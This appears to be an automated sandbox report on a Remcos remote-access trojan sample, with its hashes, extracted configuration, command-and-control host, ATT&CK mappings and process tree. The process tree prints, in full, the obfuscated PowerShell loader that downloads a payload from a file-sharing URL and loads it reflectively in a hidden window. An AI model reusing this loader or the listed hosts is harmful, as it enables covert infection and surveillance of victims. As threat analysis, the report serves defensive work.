remcos | 96c1dbdae1cced29559e795132482e8f2fc900e2699e4f3690833ff6f1bba359

General

Target

segura.vbs
Size

137KB
MD5

35bd12d3b3ad8f5c44f9f30e9d1ac1ca
SHA1

210686e9d8d1ad87d7df73df220f82e2cfc61bb0
SHA256

96c1dbdae1cced29559e795132482e8f2fc900e2699e4f3690833ff6f1bba359
SHA512

48582c3f2c47376a2b6a7adce346fbc733fbd91396bcdbf3193dd913202298e2dccb80ae0044ca356bcddfdce2856170d5f26b82e2e6e7cf6e7398721b9dd33a
SSDEEP

3072:NJbn4ermx9Nni6AbY03G/n8irzgt5pUGwm:flQNuc0W/4

Score

10^/10

remcos nt discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

remcos

Botnet

Nt

C2

fenixinria.duckdns.org:2404

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-LXSJK6
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	4728	powershell.exe
21	4728	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3304	powershell.exe
4728	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4728 set thread context of 368	4728	powershell.exe	92

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3304	powershell.exe
3304	powershell.exe
4728	powershell.exe
4728	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3304	powershell.exe
Token: SeDebugPrivilege	4728	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
368	MSBuild.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1240 wrote to memory of 3304	1240	WScript.exe	82
PID 1240 wrote to memory of 3304	1240	WScript.exe	82
PID 3304 wrote to memory of 4728	3304	powershell.exe	84
PID 3304 wrote to memory of 4728	3304	powershell.exe	84
PID 4728 wrote to memory of 368	4728	powershell.exe	92
PID 4728 wrote to memory of 368	4728	powershell.exe	92
PID 4728 wrote to memory of 368	4728	powershell.exe	92
PID 4728 wrote to memory of 368	4728	powershell.exe	92
PID 4728 wrote to memory of 368	4728	powershell.exe	92
PID 4728 wrote to memory of 368	4728	powershell.exe	92
PID 4728 wrote to memory of 368	4728	powershell.exe	92
PID 4728 wrote to memory of 368	4728	powershell.exe	92
PID 4728 wrote to memory of 368	4728	powershell.exe	92
PID 4728 wrote to memory of 368	4728	powershell.exe	92

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\segura.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRTSGVMTElkWzFdKyRzSGVsbGlkWzEzXSsneCcpICggKCdnY2RpbWFnZVVybCA9IHl6ZWh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2QnKyc5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzEnKyc3MzA5NDUxNzZhMDkwNGYgeXplO2djZHdlYkNsaWVudCA9ICcrJ05ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7Z2NkaW1hZ2VCeXRlcyA9IGdjZHdlYkNsaWVudC5Eb3dubG9hZERhdGEoZ2NkaW1hZ2VVcmwpO2djZGknKydtYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKGdjZGltYWdlQnl0ZXMpJysnO2djZHN0YXJ0RmxhZyA9IHknKyd6ZTw8QkFTRTY0X1NUQVJUPicrJz4nKyd5emU7Z2NkZW5kRmxhZyA9IHl6ZTw8QkFTRScrJzY0X0VORD4+eXplO2djZHN0YXJ0SW5kZXggPSBnY2RpbWFnZVRleHQuSW5kZXhPZihnY2RzdGFydEZsYWcpO2djZGVuZEluZGV4ID0gZ2NkaW1hZ2VUZXh0LkluZGV4JysnT2YoZ2NkZW5kRmxhZyk7Z2Nkc3RhcnRJbmRleCAtZ2UgMCAtYW5kIGdjZGVuZEluZGV4IC1ndCBnY2RzdGFydEluZGV4O2djZHN0YXJ0SW5kZXggKz0gZ2Nkc3RhcnRGbGFnLkxlbmd0aDtnY2RiYXNlNjRMZW5ndGggPSBnY2RlbmRJbmRleCAtIGdjZHN0YXJ0SW5kZXg7Z2NkYmFzZTY0Q29tbWFuZCA9IGdjZGltYWdlVGV4dC5TdScrJ2JzdHJpbmcoZ2Nkc3RhcnRJbmRleCwgZ2NkYmFzZTY0TGVuZ3RoKTtnY2RiJysnYXMnKydlNjRSZXZlcnNlZCA9IC1qb2luIChnY2RiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgR3ZUIEZvckVhY2gtT2JqZWN0IHsgZ2NkXyB9KVstMS4uLShnY2RiYXNlNjRDb21tJysnYW5kLkxlbmd0aCldO2djZGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoZ2NkYmFzZTY0UmV2ZXJzZWQpO2djZGxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZScrJ2N0aW9uLkFzc2VtYmx5XTo6TG9hZChnY2RjbycrJ21tYW5kQnl0ZScrJ3MpO2djZHZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoeXplVkFJeXplKTtnY2R2YWlNZXRob2QuSW52b2tlJysnKGdjZG4nKyd1bGwsIEAoeXplMC9QNkk1Zy9kL2VlLmV0c2FwLy86c3B0dGh5emUsIHl6ZWRlc2F0aXZhZG95emUsICcrJ3l6ZWRlc2F0aXZhZG95emUsIHl6ZWRlc2F0aXZhZG95emUsIHl6ZU1TQnVpbGR5emUsIHl6ZWQnKydlc2F0aXZhZG95emUsIHl6ZWRlc2F0aXZhZG95emUseXplZGVzYXRpdmFkb3l6ZSx5emVkZXNhdGl2YWRveXplLHl6ZWRlc2F0aXYnKydhZG95emUseXplZGVzYXRpdmFkb3l6ZSx5emVkZXNhdGl2YWRveXplLHl6ZTF5emUseXplZGVzYScrJ3QnKydpdmFkb3l6ZSkpOycpLnJlUExhQ0UoKFtDaGFSXTEwMytbQ2hhUl05OStbQ2hhUl0xMDApLFtzVHJJbkddW0NoYVJdMzYpLnJlUExhQ0UoKFtDaGFSXTEyMStbQ2hhUl0xMjIrW0NoYVJdMTAxKSxbc1RySW5HXVtDaGFSXTM5KS5yZVBMYUNFKCdHdlQnLFtzVHJJbkddW0NoYVJdMTI0KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3304
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $SHeLLId[1]+$sHellid[13]+'x') ( ('gcdimageUrl = yzehttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd'+'9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1'+'730945176a0904f yze;gcdwebClient = '+'New-Object System.Net.WebClient;gcdimageBytes = gcdwebClient.DownloadData(gcdimageUrl);gcdi'+'mageText = [System.Text.Encoding]::UTF8.GetString'+'(gcdimageBytes)'+';gcdstartFlag = y'+'ze<<BASE64_START>'+'>'+'yze;gcdendFlag = yze<<BASE'+'64_END>>yze;gcdstartIndex = gcdimageText.IndexOf(gcdstartFlag);gcdendIndex = gcdimageText.Index'+'Of(gcdendFlag);gcdstartIndex -ge 0 -and gcdendIndex -gt gcdstartIndex;gcdstartIndex += gcdstartFlag.Length;gcdbase64Length = gcdendIndex - gcdstartIndex;gcdbase64Command = gcdimageText.Su'+'bstring(gcdstartIndex, gcdbase64Length);gcdb'+'as'+'e64Reversed = -join (gcdbase64Command.ToCharArray() GvT ForEach-Object { gcd_ })[-1..-(gcdbase64Comm'+'and.Length)];gcdcommandBytes = [System.Convert]::FromBase64String(gcdbase64Reversed);gcdloadedAssembly = [System.Refle'+'ction.Assembly]::Load(gcdco'+'mmandByte'+'s);gcdvaiMethod = [dnlib.IO.Home].GetMethod(yzeVAIyze);gcdvaiMethod.Invoke'+'(gcdn'+'ull, @(yze0/P6I5g/d/ee.etsap//:sptthyze, yzedesativadoyze, '+'yzedesativadoyze, yzedesativadoyze, yzeMSBuildyze, yzed'+'esativadoyze, yzedesativadoyze,yzedesativadoyze,yzedesativadoyze,yzedesativ'+'adoyze,yzedesativadoyze,yzedesativadoyze,yze1yze,yzedesa'+'t'+'ivadoyze));').rePLaCE(([ChaR]103+[ChaR]99+[ChaR]100),[sTrInG][ChaR]36).rePLaCE(([ChaR]121+[ChaR]122+[ChaR]101),[sTrInG][ChaR]39).rePLaCE('GvT',[sTrInG][ChaR]124) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4728
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:368

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
93fff59b57b31e44e0448e09f7ab76a9

SHA1
da40802f4b7729042df9630784c5707e934abf2a

SHA256
bee7db80d750d3df75ddfc9cf03557e4d0197b32d0e562e278a18e7f533d3f29

SHA512
b2502b9a05cc5071899b2a273dd33b7bd29e30a7ba770a75fcff22b9566ee8f1695e01c92b3d3c4e948405a8d7bcdbdf6b3f601ee0c56b3bad0d50944d4233fd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hwe4rsoh.vbq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/368-35-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/368-44-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/368-76-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/368-75-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/368-25-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/368-28-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/368-60-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/368-59-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/368-32-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/368-52-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/368-51-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/368-37-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/368-38-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/368-39-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/368-40-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/368-43-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3304-22-0x00007FFD0AF03000-0x00007FFD0AF05000-memory.dmp

Filesize
8KB

Download
memory/3304-1-0x0000018A77590000-0x0000018A775B2000-memory.dmp

Filesize
136KB

Download
memory/3304-0-0x00007FFD0AF03000-0x00007FFD0AF05000-memory.dmp

Filesize
8KB

Download
memory/3304-36-0x00007FFD0AF00000-0x00007FFD0B9C1000-memory.dmp

Filesize
10.8MB

Download
memory/3304-11-0x00007FFD0AF00000-0x00007FFD0B9C1000-memory.dmp

Filesize
10.8MB

Download
memory/3304-12-0x00007FFD0AF00000-0x00007FFD0B9C1000-memory.dmp

Filesize
10.8MB

Download
memory/3304-23-0x00007FFD0AF00000-0x00007FFD0B9C1000-memory.dmp

Filesize
10.8MB

Download
memory/4728-24-0x000001F37EF90000-0x000001F37F0E8000-memory.dmp

Filesize
1.3MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads